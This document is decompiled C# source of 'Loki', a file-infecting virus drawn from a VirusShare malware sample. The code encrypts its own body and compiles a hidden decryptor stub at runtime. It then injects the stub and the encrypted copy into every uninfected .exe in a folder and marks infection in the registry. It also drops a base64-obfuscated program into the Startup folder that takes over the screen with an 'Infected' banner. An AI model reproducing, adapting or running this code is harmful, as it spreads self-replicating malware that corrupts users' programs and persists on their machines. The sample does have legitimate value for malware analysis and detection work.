// Decompiled with JetBrains decompiler
// Type: Loki.Loki
// Assembly: Loki, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 803A5091-7913-4057-8BFA-DEFEA0629B18
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Kilo.a-f94fb78411f11c9fe81fb962c63346417fe58b0057f41acb265173818d922567.exe

using Microsoft.CSharp;
using Microsoft.Win32;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Loki
{
  internal class Loki
  {
    private int encm = 0;
    private string k = (string) null;
    private string iv = (string) null;

    public void Populate(string dir)
    {
      if (!Directory.Exists(dir))
        return;
      string[] files = Directory.GetFiles(dir, "*.exe");
      for (int index1 = 0; index1 < files.Length; ++index1)
      {
        try
        {
          byte[] numArray1 = this.read(files[index1]);
          if (numArray1[60] != (byte) 128)
          {
            new Random().Next(1000);
            string d = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName);
            string str1 = Directory.GetCurrentDirectory() + "\\" + this.Rand() + ".exe";
            string str2 = Directory.GetCurrentDirectory() + "\\" + this.Rand() + (object) DateTime.Now.Year + ".exe";
            byte[] numArray2 = this.read(d);
            FileStream output1 = new FileStream(str1, FileMode.CreateNew);
            BinaryWriter binaryWriter1 = new BinaryWriter((Stream) output1);
            for (int index2 = 0; index2 < numArray2.Length; ++index2)
              binaryWriter1.BaseStream.WriteByte(numArray2[index2]);
            binaryWriter1.Close();
            output1.Close();
            this.Encrypt(str1, str2, this.encm);
            if (File.Exists(str2))
            {
              if (File.Exists(str1))
                File.Delete(str1);
              int length = (int) new FileInfo(files[index1]).Length;
              string str3 = this.Decryptor(str2, 5632, length + 5632, this.encm);
              if (File.Exists(str3))
              {
                byte[] numArray3 = this.read(str3);
                byte[] numArray4 = this.read(str2);
                if (File.Exists(files[index1]))
                {
                  File.Delete(files[index1]);
                  FileStream output2 = new FileStream(files[index1], FileMode.CreateNew);
                  BinaryWriter binaryWriter2 = new BinaryWriter((Stream) output2);
                  for (int index3 = 0; index3 < numArray3.Length; ++index3)
                    binaryWriter2.BaseStream.WriteByte(numArray3[index3]);
                  for (int index4 = 0; index4 < numArray1.Length; ++index4)
                    binaryWriter2.BaseStream.WriteByte(numArray1[index4]);
                  for (int index5 = 0; index5 < numArray4.Length; ++index5)
                    binaryWriter2.BaseStream.WriteByte(numArray4[index5]);
                  binaryWriter2.Close();
                  output2.Close();
                  File.Delete(str2);
                  File.Delete(str3);
                }
              }
              else if (File.Exists(str2))
                File.Delete(str2);
            }
          }
        }
        catch
        {
        }
      }
    }

    public byte[] read(string d)
    {
      FileStream input = new FileStream(d, FileMode.Open, FileAccess.Read);
      BinaryReader binaryReader = new BinaryReader((Stream) input);
      byte[] numArray = new byte[input.Length];
      for (int index = 0; index < numArray.Length; ++index)
        numArray[index] = binaryReader.ReadByte();
      binaryReader.Close();
      input.Close();
      return numArray;
    }

    public void Encrypt(string inf, string outf, int e)
    {
      if (e == 1)
      {
        try
        {
          string s = this.getKey();
          if (s.Length > 8)
            s = s.Substring(0, 8);
          else if (s.Length < 8)
          {
            int num = 8 - s.Length;
            for (int index = 0; index < num; ++index)
              s += (string) (object) index;
          }
          byte[] bytes = new UnicodeEncoding().GetBytes(s);
          FileStream fileStream1 = new FileStream(outf, FileMode.Create);
          RijndaelManaged rijndaelManaged = new RijndaelManaged();
          CryptoStream cryptoStream = new CryptoStream((Stream) fileStream1, rijndaelManaged.CreateEncryptor(bytes, bytes), CryptoStreamMode.Write);
          FileStream fileStream2 = new FileStream(inf, FileMode.Open);
          int num1;
          while ((num1 = fileStream2.ReadByte()) != -1)
            cryptoStream.WriteByte((byte) num1);
          fileStream2.Close();
          cryptoStream.Close();
          fileStream1.Close();
        }
        catch
        {
        }
      }
      else
      {
        try
        {
          byte[] buffer = this.read(inf);
          byte[] rgbKey = Convert.FromBase64String(this.getKey());
          byte[] rgbIV = Convert.FromBase64String(this.getIV());
          FileStream fileStream = File.Open(outf, FileMode.OpenOrCreate);
          CryptoStream output = new CryptoStream((Stream) fileStream, new TripleDESCryptoServiceProvider().CreateEncryptor(rgbKey, rgbIV), CryptoStreamMode.Write);
          BinaryWriter binaryWriter = new BinaryWriter((Stream) output);
          binaryWriter.Write(buffer);
          binaryWriter.Close();
          output.Close();
          fileStream.Close();
        }
        catch
        {
        }
      }
    }

    public string Decryptor(string f, int num, int hl, int e)
    {
      string path = Directory.GetCurrentDirectory() + "\\" + this.Rand() + (object) DateTime.Now.Year + ".exe";
      ICodeCompiler compiler = new CSharpCodeProvider().CreateCompiler();
      CompilerParameters options = new CompilerParameters();
      options.ReferencedAssemblies.Add("System.dll");
      options.ReferencedAssemblies.Add("System.Windows.Forms.dll");
      options.GenerateExecutable = true;
      options.CompilerOptions = "/target:winexe";
      options.OutputAssembly = path;
      Random random = new Random();
      string str1 = this.Rand() + (object) random.Next(100);
      string str2 = this.Rand() + (object) hl;
      string str3 = this.Rand() + (object) random.Next(hl);
      string str4 = "\nusing System; \nusing System.Windows.Forms; \nusing System.Security.Cryptography; \nusing System.Text; \nusing System.Diagnostics; \nusing System.IO; \nusing System.Threading; \nnamespace " + str1 + " { \n   class " + str1 + str2 + ": Form { \n       static string cf = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); \n       static string inf = @\"" + f + "\"; \n       static string outf = @\"" + str2 + ".exe\"; \n       static string tmp = @\"" + str2 + str3 + ".exe\"; \n";
      string str5;
      if (e == 1)
        str5 = str4 + "static string p = @\"" + this.getKey() + "\"; \n";
      else
        str5 = str4 + "static byte[] Key = Convert.FromBase64String(\"" + this.getKey() + "\"); \nstatic byte[] IV  = Convert.FromBase64String(\"" + this.getIV() + "\"); \n";
      string str6 = str5 + "  public static void Main() { \n             " + str3 + "(); \n       } \n       private static void " + str3 + "() { \n           try { \n                FileStream fs = new FileStream(cf, FileMode.Open, FileAccess.Read); \n               BinaryReader brb = new BinaryReader(fs); \n               byte[] b = new byte[fs.Length]; \n               for (int q = 0; q < b.Length; q++) { \n                   b[q] = brb.ReadByte(); \n               } \n               brb.Close(); \n               fs.Close(); \n               FileStream fsb = new FileStream(tmp, FileMode.CreateNew); \n               BinaryWriter bwb = new BinaryWriter(fsb); \n               for (int z = " + (object) num + "; z < " + (object) hl + "; z++) { \n                    bwb.BaseStream.WriteByte(b[z]); \n               } \n                fsb.Close(); \n               bwb.Close(); \n               File.SetAttributes(tmp, FileAttributes.Hidden); \n               try { \n                   Process.Start(tmp).WaitForExit(); \n                   File.Delete(tmp); \n               } catch { } \n               FileStream fb = new FileStream(inf, FileMode.CreateNew); \n               BinaryWriter bw = new BinaryWriter(fb); \n               for (int z = " + (object) hl + "; z < b.Length; z++) { \n                    bw.BaseStream.WriteByte(b[z]); \n               } \n                fb.Close(); \n               bw.Close(); \n               File.SetAttributes(inf, FileAttributes.Hidden); \n";
      string source = (e != 1 ? str6 + "      FileStream fr = new FileStream(inf, FileMode.Open); \n      CryptoStream cs = new CryptoStream(fr, new TripleDESCryptoServiceProvider().CreateDecryptor(Key, IV), CryptoStreamMode.Read); \n      if(File.Exists(outf)) { \n          File.Delete(outf); \n      } \n      FileStream o = new FileStream(outf, FileMode.Create); \n      int data; \n       while((data = cs.ReadByte()) != -1) { \n          o.WriteByte((byte)data); \n      } \n      o.Close(); \n      cs.Close(); \n      fr.Close(); \n" : str6 + "      if(p.Length > 8) { \n          p = p.Substring(0,8); \n      } else if(p.Length < 8) { \n          int a = 8 - p.Length; \n          for(int i = 0; i < a; i++) \n              p = p + i; \n      } \n      UnicodeEncoding UE = new UnicodeEncoding(); \n      byte[] k = UE.GetBytes(p); \n      FileStream fr = new FileStream(inf, FileMode.Open); \n      RijndaelManaged r = new RijndaelManaged(); \n      CryptoStream cs = new CryptoStream(fr, r.CreateDecryptor(k, k), CryptoStreamMode.Read); \n      if(File.Exists(outf)) { \n          File.Delete(outf); \n      } \n      FileStream o = new FileStream(outf, FileMode.Create); \n      int data; \n      while((data = cs.ReadByte()) != -1) { \n          o.WriteByte((byte)data); \n      } \n      o.Close(); \n      cs.Close(); \n      fr.Close(); \n") + "          if(File.Exists(inf)) { \n                   File.Delete(inf); \n               } \n               Thread t = new Thread(new ThreadStart(" + str3 + str2 + ")); \n               t.Start(); \n           } catch (Exception er) { \n  \n } \n       } \n       private static void " + str3 + str2 + "() { \n           try { \n               Process.Start(outf).WaitForExit(); \n               File.Delete(outf); \n           } catch { } \n       } \n       \n   } \n} \n";
      CompilerResults compilerResults = compiler.CompileAssemblyFromSource(options, source);
      if (compilerResults.Errors.Count > 0)
      {
        string str7 = "Compilation failed:\n";
        foreach (CompilerError error in (CollectionBase) compilerResults.Errors)
          str7 = str7 + error.ToString() + "\n";
        Console.WriteLine("There were compilation errors");
        Console.WriteLine(str7);
      }
      if (File.Exists(path))
        File.SetAttributes(path, FileAttributes.Hidden);
      return path;
    }

    public string Rand()
    {
      string str1 = "abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ";
      Random random = new Random();
      string str2 = "";
      for (int index = 0; index < random.Next(100); ++index)
        str2 += (string) (object) str1[random.Next(str1.Length)];
      return str2;
    }

    public void Generatekey(int e)
    {
      if (e == 1)
      {
        this.setKey(Encoding.ASCII.GetString(DES.Create().Key));
        this.setEncm(e);
      }
      else
      {
        TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider();
        this.setKey(Convert.ToBase64String(cryptoServiceProvider.Key));
        this.setIV(Convert.ToBase64String(cryptoServiceProvider.IV));
        this.setEncm(e);
      }
    }

    public bool Check()
    {
      if ((string) Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Loki", nameof (Loki), (object) nameof (Loki)) == nameof (Loki))
        return true;
      Registry.LocalMachine.OpenSubKey("Software", true).CreateSubKey(nameof (Loki)).SetValue(nameof (Loki), (object) nameof (Loki));
      return false;
    }

    public void GenerateMsg()
    {
      ICodeCompiler compiler = new CSharpCodeProvider().CreateCompiler();
      CompilerParameters options = new CompilerParameters();
      Random random = new Random();
      string str = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + (object) random.Next(100000) + ".exe";
      options.ReferencedAssemblies.Add("System.dll");
      options.ReferencedAssemblies.Add("System.Windows.Forms.dll");
      options.ReferencedAssemblies.Add("System.Data.dll");
      options.ReferencedAssemblies.Add("System.Drawing.dll");
      options.GenerateExecutable = true;
      options.CompilerOptions = "/target:winexe";
      options.OutputAssembly = str;
      string source = this.DeCode("dXNpbmcgU3lzdGVtOyAKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWM7IAp1c2luZyBTeXN0ZW0uQ29tcG9uZW50TW9kZWw7IAp1c2luZyBTeXN0ZW0uRGF0YTsgCnVzaW5nIFN5c3RlbS5EcmF3aW5nOyAKdXNpbmcgU3lzdGVtLlRleHQ7IAp1c2luZyBTeXN0ZW0uV2luZG93cy5Gb3JtczsgCm5hbWVzcGFjZSBzY3IgeyAKc3RhdGljIGNsYXNzIFByb2dyYW0gewogICBbU1RBVGhyZWFkXQogICBzdGF0aWMgdm9pZCBNYWluKCkgewpBcHBsaWNhdGlvbi5FbmFibGVWaXN1YWxTdHlsZXMoKTsKQXBwbGljYXRpb24uU2V0Q29tcGF0aWJsZVRleHRSZW5kZXJpbmdEZWZhdWx0KGZhbHNlKTsKQXBwbGljYXRpb24uUnVuKG5ldyBGb3JtMSgpKTsgCn0gCn0gCnBhcnRpYWwgY2xhc3MgRm9ybTEgewpwcml2YXRlIFN5c3RlbS5Db21wb25lbnRNb2RlbC5JQ29udGFpbmVyIGNvbXBvbmVudHMgPSBudWxsOwpwcm90ZWN0ZWQgb3ZlcnJpZGUgdm9pZCBEaXNwb3NlKGJvb2wgZGlzcG9zaW5nKSB7CmlmIChkaXNwb3NpbmcgJiYgKGNvbXBvbmVudHMgIT0gbnVsbCkpIHsKY29tcG9uZW50cy5EaXNwb3NlKCk7Cn0KYmFzZS5EaXNwb3NlKGRpc3Bvc2luZyk7Cn0KcHJpdmF0ZSB2b2lkIEluaXRpYWxpemVDb21wb25lbnQoKSB7CnRoaXMuY29tcG9uZW50cyA9IG5ldyBTeXN0ZW0uQ29tcG9uZW50TW9kZWwuQ29udGFpbmVyKCk7CnRoaXMubGFiZWwxID0gbmV3IFN5c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsKCk7CnRoaXMudGltZXIxID0gbmV3IFN5c3RlbS5XaW5kb3dzLkZvcm1zLlRpbWVyKHRoaXMuY29tcG9uZW50cyk7CnRoaXMuU3VzcGVuZExheW91dCgpOwp0aGlzLmxhYmVsMS5BdXRvU2l6ZSA9IHRydWU7CnRoaXMubGFiZWwxLkJhY2tDb2xvciA9IFN5c3RlbS5EcmF3aW5nLkNvbG9yLkJsYWNrOwp0aGlzLmxhYmVsMS5Gb250ID0gbmV3IFN5c3RlbS5EcmF3aW5nLkZvbnQoIk1pY3Jvc29mdCBTYW5zIFNlcmlmIiwgMjRGLCBTeXN0ZW0uRHJhd2luZy5Gb250U3R5bGUuUmVndWxhciwgU3lzdGVtLkRyYXdpbmcuR3JhcGhpY3NVbml0LlBvaW50LCAoKGJ5dGUpKDApKSk7CnRoaXMubGFiZWwxLkZvcmVDb2xvciA9IFN5c3RlbS5EcmF3aW5nLkNvbG9yLlJlZDsKdGhpcy5sYWJlbDEuTG9jYXRpb24gPSBuZXcgU3lzdGVtLkRyYXdpbmcuUG9pbnQoMTIsIDIwMSk7CnRoaXMubGFiZWwxLk5hbWUgPSAibGFiZWwxIjsKdGhpcy5sYWJlbDEuU2l6ZSA9IG5ldyBTeXN0ZW0uRHJhd2luZy5TaXplKDAsIDM3KTsKdGhpcy5sYWJlbDEuVGFiSW5kZXggPSAwOwp0aGlzLnRpbWVyMS5UaWNrICs9IG5ldyBTeXN0ZW0uRXZlbnRIYW5kbGVyKHRoaXMudGltZXIxX1RpY2spOwp0aGlzLkF1dG9TY2FsZURpbWVuc2lvbnMgPSBuZXcgU3lzdGVtLkRyYXdpbmcuU2l6ZUYoNkYsIDEzRik7CnRoaXMuQXV0b1NjYWxlTW9kZSA9IFN5c3RlbS5XaW5kb3dzLkZvcm1zLkF1dG9TY2FsZU1vZGUuRm9udDsKdGhpcy5CYWNrZ3JvdW5kSW1hZ2VMYXlvdXQgPSBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxheW91dC5TdHJldGNoOwp0aGlzLkNsaWVudFNpemUgPSBuZXcgU3lzdGVtLkRyYXdpbmcuU2l6ZSg0NzIsIDQ1OSk7CnRoaXMuQ29udHJvbHMuQWRkKHRoaXMubGFiZWwxKTsKdGhpcy5Eb3VibGVCdWZmZXJlZCA9IHRydWU7CnRoaXMuRm9ybUJvcmRlclN0eWxlID0gU3lzdGVtLldpbmRvd3MuRm9ybXMuRm9ybUJvcmRlclN0eWxlLk5vbmU7CnRoaXMuTmFtZSA9ICJGb3JtMSI7CnRoaXMuU2hvd0luVGFza2JhciA9IGZhbHNlOwp0aGlzLlRvcE1vc3QgPSB0cnVlOwp0aGlzLldpbmRvd1N0YXRlID0gU3lzdGVtLldpbmRvd3MuRm9ybXMuRm9ybVdpbmRvd1N0YXRlLk1heGltaXplZDsKdGhpcy5Mb2FkICs9IG5ldyBTeXN0ZW0uRXZlbnRIYW5kbGVyKHRoaXMuRm9ybTFfTG9hZF8xKTsKdGhpcy5SZXN1bWVMYXlvdXQoZmFsc2UpOwp0aGlzLlBlcmZvcm1MYXlvdXQoKTsKfQpwcml2YXRlIFN5c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsIGxhYmVsMTsKcHJpdmF0ZSBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5UaW1lciB0aW1lcjE7Cn0gCnB1YmxpYyBwYXJ0aWFsIGNsYXNzIEZvcm0xIDogRm9ybSB7IApwdWJsaWMgRm9ybTEoKSB7IApJbml0aWFsaXplQ29tcG9uZW50KCk7IAp9IApwcm90ZWN0ZWQgb3ZlcnJpZGUgdm9pZCBPblBhaW50QmFja2dyb3VuZChQYWludEV2ZW50QXJncyBlKSB7IAplLkdyYXBoaWNzLkRyYXdSZWN0YW5nbGUobmV3IFBlbihDb2xvci5CbGFjayksIDAsIDAsIFNpemUuV2lkdGgsIFNpemUuSGVpZ2h0KTsgCn0gCnByaXZhdGUgdm9pZCBGb3JtMV9Mb2FkXzEob2JqZWN0IHNlbmRlciwgRXZlbnRBcmdzIGUpIHsgCnRoaXMuU2V0U3R5bGUoQ29udHJvbFN0eWxlcy5PcHRpbWl6ZWREb3VibGVCdWZmZXIgfCBDb250cm9sU3R5bGVzLlVzZXJQYWludCB8IENvbnRyb2xTdHlsZXMuQWxsUGFpbnRpbmdJbldtUGFpbnQsIHRydWUpOyAKdGhpcy5DYXB0dXJlID0gdHJ1ZTsgCkN1cnNvci5IaWRlKCk7IApCb3VuZHMgPSBTY3JlZW4uUHJpbWFyeVNjcmVlbi5Cb3VuZHM7IApXaW5kb3dTdGF0ZSA9IEZvcm1XaW5kb3dTdGF0ZS5NYXhpbWl6ZWQ7IApTaG93SW5UYXNrYmFyID0gZmFsc2U7IApEb3VibGVCdWZmZXJlZCA9IHRydWU7IApCYWNrZ3JvdW5kSW1hZ2VMYXlvdXQgPSBJbWFnZUxheW91dC5TdHJldGNoOyAKdGltZXIxLkludGVydmFsID0gMTAwMDsgCnRpbWVyMS5TdGFydCgpOyAKfSAKcHJpdmF0ZSB2b2lkIHNjcm9sbCgpIHsgCmxhYmVsMS5UZXh0ID0gIkluZmVjdGVkIHdpdGggTVNJTC5Mb2tpIGJ5IGZyZWUwbiB8IERvb21SaWRlcnoiOyAKUmFuZG9tIHIgPSBuZXcgUmFuZG9tKCk7IApsYWJlbDEuU2V0Qm91bmRzKHIuTmV4dCgxMDApLCByLk5leHQoMTAwMCksIHIuTmV4dCgxMDAwKSwgci5OZXh0KDEwMDApKTsKfQpwcml2YXRlIHZvaWQgdGltZXIxX1RpY2sob2JqZWN0IHNlbmRlciwgRXZlbnRBcmdzIGUpIHsKc2Nyb2xsKCk7Cn0KfSAKfSAK");
      compiler.CompileAssemblyFromSource(options, source);
    }

    public void Send()
    {
    }

    private string DeCode(string s) => Encoding.UTF8.GetString(Convert.FromBase64String(s));

    public string getKey() => this.k;

    public void setKey(string key) => this.k = key;

    public string getIV() => this.iv;

    public void setIV(string i) => this.iv = i;

    public int getEncm() => this.encm;

    public void setEncm(int s) => this.encm = s;
  }
}
